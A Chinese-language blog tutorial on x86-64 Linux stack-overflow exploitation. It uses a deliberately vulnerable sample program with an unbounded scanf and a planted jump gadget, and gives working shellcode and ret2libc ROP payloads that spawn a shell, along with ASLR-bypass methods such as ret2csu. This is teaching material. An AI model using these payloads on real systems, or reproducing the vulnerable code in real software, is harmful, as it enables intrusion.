Linux64位程序中的漏洞利用

之前在棧溢出漏洞的利用和緩解中介紹了棧溢出漏洞和一些常見的漏洞緩解
技術的原理和繞過方法, 不過當時主要針對32位程序(ELF32). 秉承着能用就不改的態度,
IPv4還依然是互聯網的主導, 更何況應用程序. 所以理解32位環境也是有必要的.
不過, 現在畢竟已經是2018年了, 64位程序也逐漸成爲主流, 尤其是在Linux環境中.
因此本篇就來說說64位下的利用與32位下的利用和緩解繞過方法有何異同.

基礎知識

寄存器

我們所說的32位和64位, 其實就是寄存器的大小. 對於32位寄存器大小爲32/8=4字節,
那64位自然是64/8=8字節了. 寄存器的大小對程序的直接影響就是地址空間,
因爲CPU獲取數據/地址還是要通過寄存器來傳遞, 32位程序地址空間最多也只有
2^32-1=4GB(不考慮內核空間), 64位則將地址空間提高了幾十億倍, 充分利用了
機器的內存.

x86

對於x86架構的CPU, 通常會用到的寄存器有下列這些:

(gdb) info registers 
eax            0xf7fa6dbc   -134582852
ecx            0x5cb15f85   1555128197
edx            0xffffc834   -14284
ebx            0x0  0
esp            0xffffc808   0xffffc808
ebp            0xffffc808   0xffffc808
esi            0x1  1
edi            0xf7fa5000   -134590464
eip            0x56555563   0x56555563 <main+3>
eflags         0x292    [ AF SF IF ]
cs             0x23 35
ss             0x2b 43
ds             0x2b 43
es             0x2b 43
fs             0x0  0
gs             0x63 99

這些寄存器可以分爲四類:

通用寄存器:
EAX EBX ECX EDX

索引和指針:
ESI EDI EBP ESP EIP

段寄存器:
CS SS DS ES FS GS

指示器:
EFLAGS

其中EAX~EDX四個通用寄存器支持部分引用, 如EAX低16位可通過AX來引用,
AL的高8位和低8位又可以分別通過AH和AL來引用.

有的文檔將ESI,EDI也稱爲通用寄存器, 因爲他們也是程序可自由讀寫的,
不過他們不支持部分引用. EBP/ESP分別稱爲棧基指針和棧指針, 分別指向
當前棧幀的棧底和棧頂. EIP爲PC指針, 指向將要執行的下一條指令.

段寄存器(Segment registers)保存了不同目標的段地址, 只有16種取值,
只能被通用寄存器或者特殊指令設置.

段寄存器 作用
CS Code Segment
SS Stack Segment
DS Data Segment
ES,FS,GS 主要用作遠指針尋址

指示器EFLAGS保存了指令運行的一些狀態(flag), 比如進位,符號等, Intel文檔定義如下:

Bit Label Desciption
0 CF Carry flag
2 PF Parity flag
4 AF Auxiliary carry flag
6 ZF Zero flag
7 SF Sign flag
8 TF Trap flag
9 IF Interrupt enable flag
10 DF Direction flag
11 OF Overflow flag
12-13 IOPL I/O Priviledge level
14 NT Nested task flag
16 RF Resume flag
17 VM Virtual 8086 mode flag
18 AC Alignment check flag (486+)
19 VIF Virutal interrupt flag
20 VIP Virtual interrupt pending flag
21 ID ID flag

這個32位寄存器中上面沒提到的位是由Intel保留的.

x86-64

x86-64架構下的寄存器種類和32位差不多:

(gdb) info  registers 
rax            0x555555554660   93824992233056
rbx            0x0  0
rcx            0x0  0
rdx            0x7fffffffd708   140737488344840
rsi            0x7fffffffd6f8   140737488344824
rdi            0x1  1
rbp            0x7fffffffd610   0x7fffffffd610
rsp            0x7fffffffd610   0x7fffffffd610
r8             0x5555555546e0   93824992233184
r9             0x7ffff7de8cb0   140737351945392
r10            0x8  8
r11            0x1  1
r12            0x555555554530   93824992232752
r13            0x7fffffffd6f0   140737488344816
r14            0x0  0
r15            0x0  0
rip            0x555555554664   0x555555554664 <main+4>
eflags         0x246    [ PF ZF IF ]
cs             0x33 51
ss             0x2b 43
ds             0x0  0
es             0x0  0
fs             0x0  0
gs             0x0  0

只不過寄存器大小從32位變成了64位, 而且增加了8個通用寄存器(r8~r15).
和x86一樣, rax~rdx這四個通用寄存器也支持部分尋址:

0x1122334455667788
  ================ RAX (64位)
          ======== EAX (低32位)
              ====  AX (低16位)
              ==    AH (高8位)
                ==  AL (低8位)

調用約定

32位和64位程序的區別, 更多的是體現在調用約定(Calling Convention)上.
因爲64位程序有了更多的通用寄存器, 所以通常會使用寄存器來進行函數參數傳遞
而不是通過棧, 來獲得更高的運行速度.

本文主要是介紹Linux平臺下的漏洞利用, 所以就專注於System V AMD64 ABI
的調用約定, 即函數參數從左到右依次用寄存器RDI,RSI,RDX,RCX,R8,R9來進行傳遞,
如果參數個數多於6個, 再通過棧來進行傳遞.

$ cat victim.c
int foo(int a, int b, int c,  int d,  int e,  int f,  int g,  int h) {
    return a + b + c + d + e + f + g + h;
}
int main() {
    foo(1, 2, 3, 4, 5, 6, 7, 8);
    return 0;
}
$ gcc victim.c -o victim
$ objdump -d victim | grep "<main>:" -A 11
00000000000006a0 <main>:
 6a0:   55                      push   rbp
 6a1:   48 89 e5                mov    rbp,rsp
 6a4:   6a 08                   push   0x8
 6a6:   6a 07                   push   0x7
 6a8:   41 b9 06 00 00 00       mov    r9d,0x6
 6ae:   41 b8 05 00 00 00       mov    r8d,0x5
 6b4:   b9 04 00 00 00          mov    ecx,0x4
 6b9:   ba 03 00 00 00          mov    edx,0x3
 6be:   be 02 00 00 00          mov    esi,0x2
 6c3:   bf 01 00 00 00          mov    edi,0x1
 6c8:   e8 93 ff ff ff          call   660 <foo>

漏洞利用

回憶一下之前在棧溢出漏洞的利用和緩解中介紹的漏洞利用流程,
我們的目的是通過溢出等內存破壞的漏洞來執行任意的代碼, 爲實現這個目的,
就要按照調用約定來對內存進行精確佈局, 然後執行惡意跳轉.
在32位的環境下, 因爲函數參數都是通過棧傳遞, 而我們有能溢出棧
進行任意寫, 所以利用起來很直接, 到了64位環境中就需要做點改變了.

在本文接下來的介紹中, 都以下面的程序爲目標來說明64位環境中如何
正確地利用漏洞, 以及如何繞過常見的漏洞緩解措施.

// victim.c
# include <stdio.h>
int foo() {
    char buf[10];
    scanf("%s", buf);
    printf("hello %s\n", buf);
    return 0;
}
int main() {
    foo();
    printf("good bye!\n");
    return 0;
}
void dummy()
{
    __asm__("nop; jmp rsp");
} 

同樣的, 我們先從最寬鬆的環境開始.

基本利用

與x86的棧溢出漏洞類似, 我們可以先用debruijn序列來獲得溢出點:

$ gcc victim.c -o victim -g -masm=intel -fno-stack-protector -z execstack -no-pie -fno-pic
$ ragg2 -P 80 -r > victim.rr2
$ gdb victim
(gdb) run < victim.rr2 
Starting program: /home/pan/stack_overflow_demo/x64/victim < victim.rr2
hello AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaA

Program received signal SIGSEGV, Segmentation fault.
0x00000000004005f0 in foo () at victim.c:8
8   }
(gdb) p $rip
$1 = (void (*)()) 0x4005f0 <foo+58>

(gdb) b 6
Breakpoint 1 at 0x4005d4: file victim.c, line 6.
(gdb) run < victim.rr2 
(gdb) x/xg $rbp+8
0x7fffffffd608: 0x4149414148414147

不過, 和x86不同的是, 這裏在出現段錯誤時, rip指針並沒有被我們的序列覆蓋到.
這是因爲x86在傳遞地址時不會進行"驗證". 而x64則會對根據尋址標準對地址進行檢查,
規則是48~63位必須和47位相同(從0開始), 否則處理器將會產生異常.
這規則聽起來有點怪, 不過考慮到用戶空間最多隻有0x00007FFFFFFFFFF,
所以對正常程序而言是有保護作用的, 詳情可以參考這裏.
好吧, 那麼該如何獲得覆蓋的rip值? 其實也很簡單, 只要在溢出後打上斷點,
並查看$rbp+8就是我們將要覆蓋的rip值了. 如上爲0x4149414148414147,
轉換爲(小端)ASCII爲GAAHAAIA, 在debruijn序列的第19位, 驗證如下:

$ gdb ./victim
(gdb) run < <(python -c "print 'A'*18 + 'B'*4")
hello AAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
0x0000000042424242 in ?? ()
(gdb) p $rip
$1 = (void (*)()) 0x42424242

確實是BBBB覆蓋了返回的指針. 所以棧的佈局和32位下應該是類似的. 利用跳轉
jmp rsp和32位沒有太大區別, 假設我們目標是通過system("/bin/sh")來獲取shell.

先分別獲得libc的基地址, system函數的偏移以及字符串的偏移:

$ LD_TRACE_LOADED_OBJECTS=1 ./victim
    linux-vdso.so.1 (0x00007ffff7ffa000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7a3a000)
    /lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd9000)
$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system@
   583: 000000000003f450    45 FUNC    GLOBAL DEFAULT   13 __libc_system@@GLIBC_PRIVATE
  1353: 000000000003f450    45 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.2.5
$ rafind2 -z -s /bin/sh /lib/x86_64-linux-gnu/libc.so.6
0x1619f9

所以:

  • libc加載基地址爲0x00007ffff7a3a000
  • system()地址爲0x00007ffff7a3a000+0x3f450=0x7ffff7a79450
  • "/bin/sh"的地址爲0x00007ffff7a3a000+0x1619f9=0x7ffff7b9b9f9

上一節說了x64下調用約定是通過寄存器來傳遞函數的參數, 其中第一個參數爲rdi,
因此需要構造的payload應該如下:

;shellcode.asm
mov rdi, 0x7ffff7b9b9f9;
mov rdx, 0x7ffff7a79450;
call rdx;

在寬鬆的環境下, 棧是可執行的, 所以我們用jmp rsp來跳轉到shellcode中:

$ rasm2 "jmp rsp"
ffe4
$ objdump -d victim | grep "ff e4"
  400615:   ff e4                   jmp    rsp
$ rasm2 -a x86 -b 64 -f shellcode.asm -C
"\x48\xbf\xf9\xb9\xb9\xf7\xff\x7f\x00\x00\x48\xba\x50\x94\xa7\xf7\xff\x7f\x00\x00\xff\xd2"

返回地址應覆蓋爲0x400615, 所以完整的payload驗證如下(記得加上NOP sled):

$ (python -c 'print "A"*18 + "\x15\x06\x40\x00" + "\x00"*4 + "\x90"*20 + "\x48\xbf\xf9\xb9\xb9\xf7\xff\x7f\x00\x00\x48\xba\x50\x94\xa7\xf7\xff\x7f\x00\x00\xff\xd2"' && cat) | ./victim
hello AAAAAAAAAAAAAAAAAA@
whoami
pan
id
uid=1000(pan) gid=1000(pan) groups=1000(pan),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),111(scanner),117(lpadmin),121(wireshark),999(docker)

成功獲得shell. 這是最原始的通過jmp rsp+NOP sled劫持運行流程的方式,
和32位情況下沒有太大區別.

ret2libc

return-to-libc和32位情況下的區別是函數參數需要保存在rdi寄存器中.
然而我們只能覆蓋棧的地址, 所以這時候需要藉助ROP方法來控制流程,
先跳轉到程序中的pop rdi; ret片段(gadget), 再跳轉到system@libc中.

$ rasm2 "pop rdi; ret"
5fc3
$ rafind2 -x 5fc3 -X victim
0x683
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x00000683  5fc3 9066 2e0f 1f84 0000 0000 00f3 c300  _..f............
0x00000693  0048 83ec 0848 83c4 08c3 0000 0001 0002  .H...H..........
0x000006a3  0025 7300 6865 6c6c 6f20 2573 0a00 676f  .%s.hello %s..go
0x000006b3  6f64 2062 7965 2100 0001 1b03 3b40 0000  od bye!.....;@..
0x000006c3  0007 0000 00c4 fdff ff8c 0000 0004       ..............

關鍵是要找到合適的gadget, 在victim裏找到了這倆字節, 就算不幸沒找到也沒關係,
我們還可以從libc.so裏去找, 這個會在後面細說.

值得一提的是32位程序加載地址爲0x08048000, 而64位程序加載地址爲0x00400000.
所以跳轉的返回地址應該是0x00400000+0x683=0x400683, ROP鏈如下:

棧頂(低地址) <-------- 棧底(高地址)
...[18字節][0x400683]["/bin/sh"地址][system@libc][system返回(可選)]

和之前一樣, "/bin/sh"和system()的地址和之前一樣, 驗證:

$ (python -c 'print "A"*18 + "\x83\x06\x40\x00\x00\x00\x00\x00" + "\xf9\xb9\xb9\xf7\xff\x7f\x00\x00" + "\x50\x94\xa7\xf7\xff\x7f\x00\x00"' && cat) | ./victim
hello AAAAAAAAAAAAAAAAAA�@
whoami
pan
id
uid=1000(pan) gid=1000(pan) groups=1000(pan),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),111(scanner),117(lpadmin),121(wireshark),999(docker)

成功返回到了libc中執行system("/bin/sh")

ret2plt

上面用ret2libc雖然成功繞過了NX並執行命令, 但其實也不穩定. 因爲我們是假定知道
了libc的加載地址(即禁用ASLR). 不過, 在上一篇深入瞭解GOT,PLT和動態鏈接
中我們說了, ASLR雖然隨機化了部分虛擬地址空間, 不過PLT卻不在此列, 其地址依然
是和可執行文件的加載地址相對固定的. 如果可執行文件不是PIE(位置無關可執行文件),
那麼ELF的加載地址也是固定的. 這就使得我們可以通過跳轉到PLT來繞過ASLR執行任意
命令.

利用過程和上面ret2libc類似, 只不過要將system@libc的地址改爲system@plt.
哈, 當然, 前提是我們的程序裏有system@plt.

$ gdb victim_nx
(gdb) info functions 
All defined functions:

File victim.c:
void dummy();
int foo();
int main();

Non-debugging symbols:
0x0000000000400460  _init
0x0000000000400490  puts@plt
0x00000000004004a0  printf@plt
0x00000000004004b0  __isoc99_scanf@plt
0x00000000004004c0  _start
0x00000000004004f0  deregister_tm_clones
0x0000000000400530  register_tm_clones
0x0000000000400570  __do_global_dtors_aux
0x0000000000400590  frame_dummy
0x0000000000400620  __libc_csu_init
0x0000000000400690  __libc_csu_fini
0x0000000000400694  _fini

可惜我們的程序並沒有出現system的引用, 所以就不具體演示了, 因爲無非是將ret2libc
改一個地址而已.

如果在實際程序中也這麼不巧遇到這種情況怎麼辦? 這就要用到下面的方法了.

找啊找啊找libc

雖然libc.so是PIC位置無關的, 但其中每個符號的相對地址是確定的,
只要知道其中一個, 就能知道libc加載基地址和所有其他符號的位置了.
因此不論是要找函數(如system), 數據(如"/bin/bash")還是複雜的ROP gadget,
關鍵都是要找libc, 一旦找到libc的基地址, 這場exploit遊戲也就宣告結束了.

.got.plt

深入瞭解GOT,PLT和動態鏈接中我們知道, 每個函數的PLT中只包含幾行代碼,
作用是設置參數並跳轉到GOT, 而對應GOT在解析前包含了對應PLT的下一條指令.
PLT的下一條指令則動態解析符號並填充對應的GOT, 稱爲延時加載.
所以, GOT中有libc某些函數的真正地址, 我們可以利用它來獲取libc的位置.
這種方法也叫GOT dereference, 和GOT覆蓋類似, 只不過並沒有真正覆蓋.
在32位情況下和64位情況下利用方式大同小異, 可以參考x86漏洞利用中的ASLR
部分, 這裏就不贅述了.

offset2lib

offset2lib是在2014年提出來的一種在x64下繞過ASLR的方法, 主要利用的是Linux
實現ASLR的設計缺陷, 在程序啓用PIE時會導致加載地址空間(區域)和動態庫相同,
從而導致ASLR熵減少. 不過這個缺陷已經在2015年修復了, 所以不展開介紹,
感興趣的同學可以看原文:Offset2lib: bypassing full ASLR on 64bit Linux.
雖然漏洞已經修復, 但其想法還是很值得學習的.

ret2csu

return-to-csu, 是2018 BlackHat Asia上分享的一種繞過ASLR的新姿勢.
對於客戶端程序, 我們用程序中的puts/printf可以比較簡單地打印(泄漏)出libc的地址,
只需要傳入合適的參數. 在文章最開始的部分我們說了, x64下調用約定是用寄存器
rdi,rsi,rdx...來傳參, 所以關鍵是怎麼把可控部分(棧)的值傳給寄存器.

ROP是個好辦法, 可僅考慮可執行文件的話, 不一定能找到合適的gadget.
對於一些網絡程序, 我們可能要用write或者send函數來泄露libc, 這就需要3個或者
更多的參數. 可惜使用常見的自動化rop工具在小型程序中難以找到合適的gadget.
於是作者(Hector&Ismael)通過人眼審計可執行文件中的通用代碼部分, 發現了兩處
有趣的片段, 可以讓我們控制edi,rsi和rdx, 並跳轉到任意地址. 而這兩處片段都在
__libc_csu_init中, 所以該方法稱爲return-to-csu:

$ objdump -d ./victim_nx | grep "<__libc_csu_init>:" -A35
0000000000400620 <__libc_csu_init>:
   400620:  41 57                   push   r15
   400622:  41 56                   push   r14
   400624:  41 89 ff                mov    r15d,edi
   400627:  41 55                   push   r13
   400629:  41 54                   push   r12
   40062b:  4c 8d 25 d6 07 20 00    lea    r12,[rip+0x2007d6]        # 600e08 <__frame_dummy_init_array_entry>
   400632:  55                      push   rbp
   400633:  48 8d 2d d6 07 20 00    lea    rbp,[rip+0x2007d6]        # 600e10 <__init_array_end>
   40063a:  53                      push   rbx
   40063b:  49 89 f6                mov    r14,rsi
   40063e:  49 89 d5                mov    r13,rdx
   400641:  4c 29 e5                sub    rbp,r12
   400644:  48 83 ec 08             sub    rsp,0x8
   400648:  48 c1 fd 03             sar    rbp,0x3
   40064c:  e8 0f fe ff ff          call   400460 <_init>
   400651:  48 85 ed                test   rbp,rbp
   400654:  74 20                   je     400676 <__libc_csu_init+0x56>
   400656:  31 db                   xor    ebx,ebx
   400658:  0f 1f 84 00 00 00 00    nop    DWORD PTR [rax+rax*1+0x0]
   40065f:  00 
  /400660:  4c 89 ea                mov    rdx,r13
2| 400663:  4c 89 f6                mov    rsi,r14
 | 400666:  44 89 ff                mov    edi,r15d
  \400669:  41 ff 14 dc             call   QWORD PTR [r12+rbx*8]
   40066d:  48 83 c3 01             add    rbx,0x1
   400671:  48 39 dd                cmp    rbp,rbx
   400674:  75 ea                   jne    400660 <__libc_csu_init+0x40>
   400676:  48 83 c4 08             add    rsp,0x8
  /40067a:  5b                      pop    rbx
 | 40067b:  5d                      pop    rbp
 | 40067c:  41 5c                   pop    r12
1| 40067e:  41 5d                   pop    r13
 | 400680:  41 5e                   pop    r14
 | 400682:  41 5f                   pop    r15
  \400684:  c3                      ret    

如上圖標註的片段1和片段2, 聯合起來就可以實現控制rdx,rsi和edi, 雖然第一個參數
rdi只能寫低32位, 不過一般write/send第一個參數都是文件描述符, 所以也足夠了.
關鍵是__libc_csu_init這一段代碼是所有GNU/cc編譯鏈都會添加帶可執行文件中的,
這意味着對於大多數Linux x64下的程序棧溢出漏洞都可以用該方式繞過ASLR執行程序.
對於該方法的介紹可以查看原文.

後記

x86和x86-64之間的漏洞利用思路大體相同, 只不過要注意payload的具體佈局.
二進制漏洞本身沒有什麼"一招鮮"的利用方法, 也許暫時某個方法很通用,
但可能某次內核/工具鏈更新之後就失效了. 關鍵還是要理解堆棧佈局和平臺的調用約定,
學習別人的一些利用思路, 比如ROP等. 這樣就能針對不同的應用程序和不同的運行環境
快速發現最合適的利用方式.

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章